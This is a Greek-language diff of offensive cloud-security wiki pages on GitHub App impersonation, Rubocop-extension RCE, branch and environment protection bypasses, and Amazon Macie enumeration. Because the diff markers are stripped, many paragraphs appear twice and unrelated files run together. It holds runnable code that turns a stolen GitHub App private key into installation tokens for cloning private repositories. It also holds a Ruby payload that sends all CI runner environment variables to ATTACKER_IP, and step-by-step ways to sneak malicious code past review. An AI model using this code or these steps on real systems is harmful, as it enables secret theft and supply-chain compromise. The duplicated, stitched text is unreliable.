Επιπλέον, όπως εξηγείται στις βασικές πληροφορίες, **οι οργανισμοί μπορούν να δώσουν/αρνηθούν πρόσβαση σε εφαρμογές τρίτων** σε πληροφορίες/αποθετήρια/ενέργειες που σχετίζονται με τον οργανισμό.
@@ -166,35 +160,185 @@ gpg --list-secret-keys --keyid-format=long
Επιπλέον, όπως εξηγείται στις βασικές πληροφορίες, **οι οργανισμοί μπορούν να δώσουν/αρνηθούν πρόσβαση σε εφαρμογές τρίτων** σε πληροφορίες/αποθετήρια/ενέργειες που σχετίζονται με τον οργανισμό.
#### Υποκίνηση μιας Εφαρμογής GitHub με το ιδιωτικό της κλειδί (JWT → tokens πρόσβασης εγκατάστασης)
Αν αποκτήσετε το ιδιωτικό κλειδί (PEM) μιας Εφαρμογής GitHub, μπορείτε να υποκρίνεστε πλήρως την εφαρμογή σε όλες τις εγκαταστάσεις της:
- Δημιουργήστε ένα βραχυχρόνιο JWT υπογεγραμμένο με το ιδιωτικό κλειδί
- Καλέστε το REST API της Εφαρμογής GitHub για να απαριθμήσετε τις εγκαταστάσεις
- Δημιουργήστε tokens πρόσβασης ανά εγκατάσταση και χρησιμοποιήστε τα για να καταγράψετε/κλωνοποιήσετε/σπρώξετε σε αποθετήρια που έχουν παραχωρηθεί σε αυτή την εγκατάσταση
Απαιτήσεις:
- Ιδιωτικό κλειδί Εφαρμογής GitHub (PEM)
- ID Εφαρμογής GitHub (αριθμητικό). Το GitHub απαιτεί το iss να είναι το ID της Εφαρμογής
Δημιουργία JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Λίστα εγκαταστάσεων για την αυθεντικοποιημένη εφαρμογή:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Δημιουργήστε ένα διακριτικό πρόσβασης εγκατάστασης (έγκυρο ≤ 10 λεπτά):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Χρησιμοποιήστε το token για να αποκτήσετε πρόσβαση στον κώδικα. Μπορείτε να κλωνοποιήσετε ή να σπρώξετε χρησιμοποιώντας τη μορφή URL xaccesstoken:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Προγραμματική PoC για να στοχεύσετε μια συγκεκριμένη οργάνωση και να καταγράψετε ιδιωτικά αποθετήρια (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Σημειώσεις:
- Τα tokens εγκατάστασης κληρονομούν ακριβώς τα δικαιώματα επιπέδου αποθετηρίου της εφαρμογής (για παράδειγμα, contents: write, pull_requests: write)
- Τα tokens λήγουν σε ≤10 λεπτά, αλλά νέα tokens μπορούν να δημιουργηθούν επ' αόριστον όσο διατηρείτε το ιδιωτικό κλειδί
- Μπορείτε επίσης να απαριθμήσετε τις εγκαταστάσεις μέσω του REST API (GET /app/installations) χρησιμοποιώντας το JWT
## Συμβιβασμός & Κατάχρηση Github Action
Υπάρχουν αρκετές τεχνικές για να συμβιβάσετε και να καταχραστείτε μια Github Action, ελέγξτε τις εδώ:
Υπάρχουν αρκετές τεχνικές για να συμβιβάσετε και να καταχραστείτε ένα Github Action, ελέγξτε τις εδώ:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Κατάχρηση τρίτων GitHub Apps που εκτελούν εξωτερικά εργαλεία (Rubocop extension RCE)
Ορισμένα GitHub Apps και υπηρεσίες αναθεώρησης PR εκτελούν εξωτερικούς ελέγχους/SAST κατά των pull requests χρησιμοποιώντας αρχεία ρυθμίσεων που ελέγχονται από το αποθετήριο. Εάν ένα υποστηριζόμενο εργαλείο επιτρέπει τη δυναμική φόρτωση κώδικα, ένα PR μπορεί να επιτύχει RCE στον εκτελεστή της υπηρεσίας.
Παράδειγμα: Το Rubocop υποστηρίζει τη φόρτωση επεκτάσεων από τη YAML ρύθμισή του. Εάν η υπηρεσία περάσει ένα .rubocop.yml που παρέχεται από το αποθετήριο, μπορείτε να εκτελέσετε αυθαίρετο Ruby απαιτώντας ένα τοπικό αρχείο.
- Οι συνθήκες ενεργοποίησης συνήθως περιλαμβάνουν:
- Το εργαλείο είναι ενεργοποιημένο στην υπηρεσία
- Το PR περιέχει αρχεία που αναγνωρίζει το εργαλείο (για το Rubocop: .rb)
- Το αποθετήριο περιέχει το αρχείο ρύθμισης του εργαλείου (το Rubocop αναζητά το .rubocop.yml οπουδήποτε)
Εκμεταλλευτείτε τα αρχεία στο PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (εξαγωγή μεταβλητών περιβάλλοντος runner):
```ruby
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Επίσης, συμπεριλάβετε ένα αρκετά μεγάλο ψεύτικο αρχείο Ruby (π.χ., main.rb) ώστε ο linter να εκτελείται πραγματικά.
Επιπτώσεις που παρατηρήθηκαν στην πραγματικότητα:
- Πλήρης εκτέλεση κώδικα στον παραγωγικό runner που εκτέλεσε τον linter
- Εξαγωγή ευαίσθητων μεταβλητών περιβάλλοντος, συμπεριλαμβανομένου του ιδιωτικού κλειδιού GitHub App που χρησιμοποιείται από την υπηρεσία, API keys, DB credentials, κ.λπ.
- Με ένα διαρρεύσαν ιδιωτικό κλειδί GitHub App μπορείτε να δημιουργήσετε tokens εγκατάστασης και να αποκτήσετε πρόσβαση ανάγνωσης/εγγραφής σε όλα τα αποθετήρια που έχουν παραχωρηθεί σε αυτήν την εφαρμογή (βλ. την παραπάνω ενότητα σχετικά με την προσποίηση GitHub App)
Κατευθυντήριες γραμμές ενίσχυσης για υπηρεσίες που εκτελούν εξωτερικά εργαλεία:
- Αντιμετωπίστε τις ρυθμίσεις εργαλείων που παρέχονται από το αποθετήριο ως μη αξιόπιστο κώδικα
- Εκτελέστε εργαλεία σε αυστηρά απομονωμένα sandbox χωρίς ευαίσθητες μεταβλητές περιβάλλοντος
- Εφαρμόστε πιστοποιήσεις ελάχιστης προνομιακής πρόσβασης και απομόνωση συστήματος αρχείων, και περιορίστε/αρνηθείτε την έξοδο δικτύου για εργαλεία που δεν απαιτούν πρόσβαση στο διαδίκτυο
## Παράκαμψη Προστασίας Κλάδου
- **Απαιτείται αριθμός εγκρίσεων**: Αν έχετε συμβιβάσει αρκετούς λογαριασμούς, μπορείτε απλά να αποδεχτείτε τα PR σας από άλλους λογαριασμούς. Αν έχετε μόνο τον λογαριασμό από τον οποίο δημιουργήσατε το PR, δεν μπορείτε να αποδεχτείτε το δικό σας PR. Ωστόσο, αν έχετε πρόσβαση σε ένα **περιβάλλον Github Action** μέσα στο αποθετήριο, χρησιμοποιώντας το **GITHUB_TOKEN** μπορείτε να **εγκρίνετε το PR σας** και να αποκτήσετε 1 έγκριση με αυτόν τον τρόπο.
- _Σημείωση για αυτό και για τον περιορισμό των Ιδιοκτητών Κώδικα ότι συνήθως ένας χρήστης δεν θα μπορεί να εγκρίνει τα δικά του PR, αλλά αν μπορείτε, μπορείτε να το καταχραστείτε για να αποδεχτείτε τα PR σας._
- **Ακύρωση εγκρίσεων όταν γίνονται νέες υποβολές**: Αν αυτό δεν έχει ρυθμιστεί, μπορείτε να υποβάλετε νόμιμο κώδικα, να περιμένετε μέχρι να το εγκρίνει κάποιος και να προσθέσετε κακόβουλο κώδικα και να το συγχωνεύσετε στο προστατευμένο κλάδο.
- **Απαιτείται ανασκόπηση από Ιδιοκτήτες Κώδικα**: Αν αυτό είναι ενεργοποιημένο και είστε Ιδιοκτήτης Κώδικα, μπορείτε να κάνετε μια **Github Action να δημιουργήσει το PR σας και στη συνέχεια να το εγκρίνετε εσείς οι ίδιοι**.
- Όταν ένα **αρχείο CODEOWNER είναι λανθασμένα ρυθμισμένο**, το Github δεν παραπονιέται αλλά δεν το χρησιμοποιεί. Επομένως, αν είναι λανθασμένα ρυθμισμένο, **η προστασία των Ιδιοκτητών Κώδικα δεν εφαρμόζεται.**
- **Επιτρέψτε σε καθορισμένους ηθοποιούς να παρακάμψουν τις απαιτήσεις αιτήσεων έλξης**: Αν είστε ένας από αυτούς τους ηθοποιούς μπορείτε να παρακάμψετε τις προστασίες αιτήσεων έλξης.
- **Συμπεριλάβετε διαχειριστές**: Αν αυτό δεν έχει ρυθμιστεί και είστε διαχειριστής του αποθετηρίου, μπορείτε να παρακάμψετε αυτές τις προστασίες κλάδου.
- **Απαιτήστε έναν αριθμό εγκρίσεων**: Εάν έχετε παραβιάσει αρκετούς λογαριασμούς, μπορεί να αποδεχθείτε τα PR σας από άλλους λογαριασμούς. Εάν έχετε μόνο τον λογαριασμό από τον οποίο δημιουργήσατε το PR, δεν μπορείτε να αποδεχθείτε το δικό σας PR. Ωστόσο, εάν έχετε πρόσβαση σε ένα **Github Action** περιβάλλον μέσα στο repo, χρησιμοποιώντας το **GITHUB_TOKEN** μπορεί να είστε σε θέση να **εγκρίνετε το PR σας** και να αποκτήσετε 1 έγκριση με αυτόν τον τρόπο.
- _Σημείωση για αυτό και για τον περιορισμό των Code Owners ότι συνήθως ένας χρήστης δεν θα μπορεί να εγκρίνει τα δικά του PR, αλλά αν μπορείτε, μπορείτε να το εκμεταλλευτείτε για να αποδεχθείτε τα PR σας._
- **Ανακαλέστε τις εγκρίσεις όταν προστεθούν νέες δεσμεύσεις**: Εάν αυτό δεν έχει ρυθμιστεί, μπορείτε να υποβάλετε νόμιμο κώδικα, να περιμένετε μέχρι να το εγκρίνει κάποιος και να προσθέσετε κακόβουλο κώδικα και να το συγχωνεύσετε στον προστατευμένο κλάδο.
- **Απαιτήστε αναθεωρήσεις από τους Code Owners**: Εάν αυτό είναι ενεργοποιημένο και είστε Code Owner, μπορείτε να κάνετε ένα **Github Action να δημιουργήσει το PR σας και στη συνέχεια να το εγκρίνετε εσείς οι ίδιοι**.
- Όταν ένα **CODEOWNER αρχείο είναι λανθασμένα ρυθμισμένο** το Github δεν παραπονιέται αλλά δεν το χρησιμοποιεί. Επομένως, εάν είναι λανθασμένα ρυθμισμένο, η **προστασία Code Owners δεν εφαρμόζεται.**
- **Επιτρέψτε σε καθορισμένους ηθοποιούς να παρακάμψουν τις απαιτήσεις αιτήσεων έλξης**: Εάν είστε ένας από αυτούς τους ηθοποιούς μπορείτε να παρακάμψετε τις προστασίες αιτήσεων έλξης.
- **Συμπεριλάβετε διαχειριστές**: Εάν αυτό δεν έχει ρυθμιστεί και είστε διαχειριστής του repo, μπορείτε να παρακάμψετε αυτές τις προστασίες κλάδου.
- **Απαγωγή PR**: Μπορείτε να είστε σε θέση να **τροποποιήσετε το PR κάποιου άλλου** προσθέτοντας κακόβουλο κώδικα, εγκρίνοντας το προκύπτον PR εσείς οι ίδιοι και συγχωνεύοντας τα πάντα.
- **Αφαίρεση Προστασιών Κλάδου**: Αν είστε **διαχειριστής του αποθετηρίου μπορείτε να απενεργοποιήσετε τις προστασίες**, να συγχωνεύσετε το PR σας και να επαναφέρετε τις προστασίες.
- **Παράκαμψη προστασιών υποβολής**: Αν ένα αποθετήριο **επιτρέπει μόνο σε ορισμένους χρήστες** να στέλνουν υποβολές (συγχώνευση κώδικα) σε κλάδους (η προστασία κλάδου μπορεί να προστατεύει όλους τους κλάδους καθορίζοντας το wildcard `*`).
- Αν έχετε **δικαιώματα εγγραφής στο αποθετήριο αλλά δεν επιτρέπεται να στείλετε κώδικα** λόγω της προστασίας κλάδου, μπορείτε να **δημιουργήσετε έναν νέο κλάδο** και μέσα σε αυτόν να δημιουργήσετε μια **github action που ενεργοποιείται όταν στέλνεται κώδικας**. Καθώς η **προστασία κλάδου δεν θα προστατεύει τον κλάδο μέχρι να δημιουργηθεί**, αυτή η πρώτη υποβολή κώδικα στον κλάδο θα **εκτελέσει την github action**.
- **Αφαίρεση Προστασιών Κλάδου**: Εάν είστε **διαχειριστής του repo μπορείτε να απενεργοποιήσετε τις προστασίες**, να συγχωνεύσετε το PR σας και να επαναφέρετε τις προστασίες.
- **Παράκαμψη προστασιών push**: Εάν ένα repo **επιτρέπει μόνο σε ορισμένους χρήστες** να στέλνουν push (συγχώνευση κώδικα) σε κλάδους (η προστασία κλάδου μπορεί να προστατεύει όλους τους κλάδους καθορίζοντας το wildcard `*`).
- Εάν έχετε **δικαιώματα εγγραφής στο repo αλλά δεν επιτρέπεται να στείλετε κώδικα** λόγω της προστασίας κλάδου, μπορείτε να **δημιουργήσετε μια νέα κλάδο** και μέσα σε αυτήν να δημιουργήσετε μια **github action που ενεργοποιείται όταν στέλνεται κώδικας**. Καθώς η **προστασία κλάδου δεν θα προστατεύει την κλάδο μέχρι να δημιουργηθεί**, αυτή η πρώτη αποστολή κώδικα στην κλάδο θα **εκτελέσει την github action**.
## Παράκαμψη Προστασιών Περιβαλλόντων
Για μια εισαγωγή σχετικά με [**Περιβάλλον Github ελέγξτε τις βασικές πληροφορίες**](basic-github-information.md#git-environments).
Για μια εισαγωγή σχετικά με [**Github Environment ελέγξτε τις βασικές πληροφορίες**](basic-github-information.md#git-environments).
Σε περίπτωση που ένα περιβάλλον μπορεί να **προσεγγιστεί από όλους τους κλάδους**, **δεν είναι προστατευμένο** και μπορείτε εύκολα να αποκτήσετε πρόσβαση στα μυστικά μέσα στο περιβάλλον. Σημειώστε ότι μπορεί να βρείτε αποθετήρια όπου **όλοι οι κλάδοι είναι προστατευμένοι** (καθορίζοντας τα ονόματά τους ή χρησιμοποιώντας `*`), σε αυτή την περίπτωση, **βρείτε έναν κλάδο όπου μπορείτε να στείλετε κώδικα** και μπορείτε να **εξάγετε** τα μυστικά δημιουργώντας μια νέα github action (ή τροποποιώντας μία).
Σε περίπτωση που ένα περιβάλλον μπορεί να **προσεγγιστεί από όλους τους κλάδους**, **δεν είναι προστατευμένο** και μπορείτε εύκολα να αποκτήσετε πρόσβαση στα μυστικά μέσα στο περιβάλλον. Σημειώστε ότι μπορεί να βρείτε repos όπου **όλοι οι κλάδοι είναι προστατευμένοι** (καθορίζοντας τα ονόματά τους ή χρησιμοποιώντας `*`) σε αυτή την περίπτωση, **βρείτε έναν κλάδο όπου μπορείτε να στείλετε κώδικα** και μπορείτε να **εξαγάγετε** τα μυστικά δημιουργώντας μια νέα github action (ή τροποποιώντας μία).
Σημειώστε ότι μπορεί να βρείτε την ακραία περίπτωση όπου **όλοι οι κλάδοι είναι προστατευμένοι** (μέσω wildcard `*`) και καθορίζεται **ποιος μπορεί να στείλει κώδικα στους κλάδους** (_μπορείτε να το καθορίσετε στην προστασία κλάδου_) και **ο χρήστης σας δεν επιτρέπεται**. Μπορείτε να εκτελέσετε μια προσαρμοσμένη github action γιατί μπορείτε να δημιουργήσετε έναν κλάδο και να χρησιμοποιήσετε το trigger υποβολής πάνω του. Η **προστασία κλάδου επιτρέπει την υποβολή σε νέο κλάδο, οπότε η github action θα ενεργοποιηθεί**.
Σημειώστε ότι μπορεί να βρείτε την ακραία περίπτωση όπου **όλοι οι κλάδοι είναι προστατευμένοι** (μέσω wildcard `*`) και καθορίζεται **ποιος μπορεί να στείλει κώδικα στους κλάδους** (_μπορείτε να το καθορίσετε αυτό στην προστασία κλάδου_) και **ο χρήστης σας δεν επιτρέπεται**. Μπορείτε να εκτελέσετε μια προσαρμοσμένη github action γιατί μπορείτε να δημιουργήσετε μια κλάδο και να χρησιμοποιήσετε το trigger push πάνω της. Η **προστασία κλάδου επιτρέπει την αποστολή σε μια νέα κλάδο, οπότε η github action θα ενεργοποιηθεί**.
```yaml
push: # Run it when a push is made to a branch
branches:
@@ -210,9 +354,9 @@ branches:
- Δώστε **περισσότερες άδειες σε όλη την οργάνωση**
- Δημιουργία **webhooks** για εξαγωγή πληροφοριών
- Πρόσκληση **εξωτερικών συνεργατών**
- **Αφαίρεση** **webhooks** που χρησιμοποιούνται από το **SIEM**
- **Αφαίρεση** των **webhooks** που χρησιμοποιούνται από το **SIEM**
- Δημιουργία/τροποποίηση **Github Action** με **πίσω πόρτα**
- Βρείτε **ευάλωτο Github Action για εκτέλεση εντολών** μέσω τροποποίησης της **τιμής** του μυστικού
- Βρείτε **ευάλωτο Github Action για εκτέλεση εντολών** μέσω τροποποίησης της τιμής **μυστικού**
### Ψεύτικες Δεσμεύσεις - Πίσω πόρτα μέσω δεσμεύσεων αποθετηρίου
@@ -231,6 +375,14 @@ steps:
run: |
echo 'hello world!'
```
Για περισσότερες πληροφορίες ελέγξτε [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
Για περισσότερες πληροφορίες, ελέγξτε [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Αναφορές
- [Πώς εκμεταλλευτήκαμε το CodeRabbit: από μια απλή PR σε RCE και δικαιώματα εγγραφής σε 1M αποθετήρια](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Επεκτάσεις Rubocop (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Αυθεντικοποίηση με μια εφαρμογή GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Λίστα εγκαταστάσεων για την αυθεντικοποιημένη εφαρμογή](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Δημιουργία ενός διακριτικού πρόσβασης εγκατάστασης για μια εφαρμογή](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,48 +1,142 @@
# Amazon Macie
## Εισαγωγή
{{#include ../../../banners/hacktricks-training.md}}
Το Amazon Macie είναι μια υπηρεσία ασφάλειας δεδομένων που ανακαλύπτει ευαίσθητα δεδομένα χρησιμοποιώντας μηχανική μάθηση και αντιστοίχιση προτύπων, παρέχει ορατότητα στους κινδύνους ασφάλειας δεδομένων και επιτρέπει την αυτοματοποιημένη προστασία από αυτούς τους κινδύνους.
## Macie
## Καταγραφή Ευρημάτων με το AWS Console
Το Amazon Macie ξεχωρίζει ως μια υπηρεσία που έχει σχεδιαστεί για να **ανιχνεύει, κατηγοριοποιεί και αναγνωρίζει δεδομένα** αυτόματα εντός ενός λογαριασμού AWS. Εκμεταλλεύεται **μηχανική μάθηση** για να παρακολουθεί και να αναλύει συνεχώς τα δεδομένα, εστιάζοντας κυρίως στην ανίχνευση και την ειδοποίηση για ασυνήθιστες ή ύποπτες δραστηριότητες εξετάζοντας τα δεδομένα **cloud trail event** και τα πρότυπα συμπεριφοράς των χρηστών.
Αφού σαρωθεί ένα συγκεκριμένο S3 bucket για μυστικά και ευαίσθητα δεδομένα, θα παραχθούν ευρήματα και θα εμφανιστούν στην κονσόλα. Οι εξουσιοδοτημένοι χρήστες με επαρκή δικαιώματα μπορούν να δουν και να καταγράψουν αυτά τα ευρήματα για κάθε εργασία.
Βασικά Χαρακτηριστικά του Amazon Macie:
1. **Ενεργή Ανασκόπηση Δεδομένων**: Χρησιμοποιεί μηχανική μάθηση για να ανασκοπεί ενεργά τα δεδομένα καθώς διάφορες ενέργειες συμβαίνουν εντός του λογαριασμού AWS.
2. **Ανίχνευση Ανωμαλιών**: Αναγνωρίζει ανώμαλες δραστηριότητες ή πρότυπα πρόσβασης, δημιουργώντας ειδοποιήσεις για να μετριάσει τους πιθανούς κινδύνους έκθεσης δεδομένων.
3. **Συνεχής Παρακολούθηση**: Παρακολουθεί και ανιχνεύει αυτόματα νέα δεδομένα στο Amazon S3, χρησιμοποιώντας μηχανική μάθηση και τεχνητή νοημοσύνη για να προσαρμόζεται στα πρότυπα πρόσβασης δεδομένων με την πάροδο του χρόνου.
4. **Κατηγοριοποίηση Δεδομένων με NLP**: Χρησιμοποιεί επεξεργασία φυσικής γλώσσας (NLP) για να κατηγοριοποιήσει και να ερμηνεύσει διάφορους τύπους δεδομένων, αναθέτοντας βαθμούς κινδύνου για να προτεραιοποιήσει τα ευρήματα.
5. **Παρακολούθηση Ασφαλείας**: Αναγνωρίζει ευαίσθητα δεδομένα ασφαλείας, συμπεριλαμβανομένων των κλειδιών API, των μυστικών κλειδιών και των προσωπικών πληροφοριών, βοηθώντας στην πρόληψη διαρροών δεδομένων.
Το Amazon Macie είναι μια **περιφερειακή υπηρεσία** και απαιτεί τον ρόλο IAM 'AWSMacieServiceCustomerSetupRole' και έναν ενεργοποιημένο AWS CloudTrail για τη λειτουργικότητά του.
### Σύστημα Ειδοποιήσεων
Το Macie κατηγοριοποιεί τις ειδοποιήσεις σε προκαθορισμένες κατηγορίες όπως:
- Ανωνυμοποιημένη πρόσβαση
- Συμμόρφωση δεδομένων
- Απώλεια διαπιστευτηρίων
- Κλιμάκωση προνομίων
- Ransomware
- Ύποπτη πρόσβαση, κ.λπ.
Αυτές οι ειδοποιήσεις παρέχουν λεπτομερείς περιγραφές και αναλύσεις αποτελεσμάτων για αποτελεσματική αντίδραση και επίλυση.
### Χαρακτηριστικά Πίνακα Ελέγχου
Ο πίνακας ελέγχου κατηγοριοποιεί τα δεδομένα σε διάφορες ενότητες, συμπεριλαμβανομένων:
- Αντικείμενα S3 (κατά χρονικό διάστημα, ACL, PII)
- Υψηλού κινδύνου γεγονότα/χρήστες CloudTrail
- Τοποθεσίες δραστηριότητας
- Τύποι ταυτότητας χρηστών CloudTrail, και άλλα.
### Κατηγοριοποίηση Χρηστών
Οι χρήστες κατηγοριοποιούνται σε επίπεδα με βάση το επίπεδο κινδύνου των κλήσεων API τους:
- **Platinum**: Υψηλού κινδύνου κλήσεις API, συχνά με προνόμια διαχειριστή.
- **Gold**: Κλήσεις API σχετικές με υποδομές.
- **Silver**: Κλήσεις API μέσου κινδύνου.
- **Bronze**: Κλήσεις API χαμηλού κινδύνου.
### Τύποι Ταυτότητας
Οι τύποι ταυτότητας περιλαμβάνουν Root, IAM user, Assumed Role, Federated User, AWS Account και AWS Service, υποδεικνύοντας την πηγή των αιτημάτων.
### Κατηγοριοποίηση Δεδομένων
Η κατηγοριοποίηση δεδομένων περιλαμβάνει:
- Content-Type: Βασισμένο στον ανιχνευθέντα τύπο περιεχομένου.
- File Extension: Βασισμένο στην επέκταση αρχείου.
- Theme: Κατηγοριοποιημένο με βάση λέξεις-κλειδιά εντός των αρχείων.
- Regex: Κατηγοριοποιημένο με βάση συγκεκριμένα πρότυπα regex.
Ο υψηλότερος κίνδυνος μεταξύ αυτών των κατηγοριών καθορίζει το τελικό επίπεδο κινδύνου του αρχείου.
### Έρευνα και Ανάλυση
Η λειτουργία έρευνας του Amazon Macie επιτρέπει προσαρμοσμένα ερωτήματα σε όλα τα δεδομένα Macie για σε βάθος ανάλυση. Οι φίλτροι περιλαμβάνουν δεδομένα CloudTrail, ιδιότητες S3 Bucket και αντικείμενα S3. Επιπλέον, υποστηρίζει την πρόσκληση άλλων λογαριασμών για να μοιραστούν το Amazon Macie, διευκολύνοντας τη συνεργατική διαχείριση δεδομένων και την παρακολούθηση ασφάλειας.
## Καταγραφή Ευρημάτων με AWS Console
Μετά την σάρωση ενός συγκεκριμένου S3 bucket για μυστικά και ευαίσθητα δεδομένα, θα παραχθούν ευρήματα και θα εμφανιστούν στην κονσόλα. Οι εξουσιοδοτημένοι χρήστες με επαρκή δικαιώματα μπορούν να δουν και να καταγράψουν αυτά τα ευρήματα για κάθε εργασία.
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
## Αποκάλυψη Μυστικού
Το Amazon Macie παρέχει μια δυνατότητα που εμφανίζει τα ανιχνευμένα μυστικά σε μορφή καθαρού κειμένου. Αυτή η λειτουργία βοηθά στην αναγνώριση των παραβιασμένων δεδομένων. Ωστόσο, η εμφάνιση μυστικών σε καθαρό κείμενο γενικά δεν θεωρείται καλή πρακτική λόγω ανησυχιών ασφαλείας, καθώς θα μπορούσε ενδεχομένως να εκθέσει ευαίσθητες πληροφορίες.
Το Amazon Macie παρέχει μια δυνατότητα που εμφανίζει τα ανιχνευθέντα μυστικά σε μορφή καθαρού κειμένου. Αυτή η λειτουργικότητα βοηθά στην αναγνώριση των συμβιβασμένων δεδομένων. Ωστόσο, η εμφάνιση μυστικών σε καθαρό κείμενο γενικά δεν θεωρείται καλύτερη πρακτική λόγω ανησυχιών ασφαλείας, καθώς θα μπορούσε ενδεχομένως να εκθέσει ευαίσθητες πληροφορίες.
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## Enumeration
### Enumeration
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Exploitation
> [!TIP]
> Από την οπτική γωνία ενός επιτιθέμενου, αυτή η υπηρεσία δεν έχει σχεδιαστεί για να ανιχνεύει τον επιτιθέμενο, αλλά για να ανιχνεύει ευαίσθητες πληροφορίες στα αποθηκευμένα αρχεία. Επομένως, αυτή η υπηρεσία μπορεί να **βοηθήσει έναν επιτιθέμενο να βρει ευαίσθητες πληροφορίες** μέσα στους κάδους.\
> Ωστόσο, ίσως ένας επιτιθέμενος να ενδιαφέρεται επίσης να την διαταράξει προκειμένου να αποτρέψει το θύμα από το να λάβει ειδοποιήσεις και να κλέψει αυτές τις πληροφορίες πιο εύκολα.
TODO: PRs are welcome!
## References
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -9,27 +9,28 @@
../az-services/az-postgresql.md
{{#endref}}
### Use pg_azure_storage extension to access Storage accounts
Είναι δυνατή η χρήση της επέκτασης **`pg_azure_storage` για πρόσβαση σε λογαριασμούς αποθήκευσης** από έναν διακομιστή PostgreSQL. Αυτό θα χρησιμοποιήσει τα δικαιώματα της διαχειριζόμενης ταυτότητας που έχει ανατεθεί στον διακομιστή για να αποκτήσει πρόσβαση στον λογαριασμό αποθήκευσης.
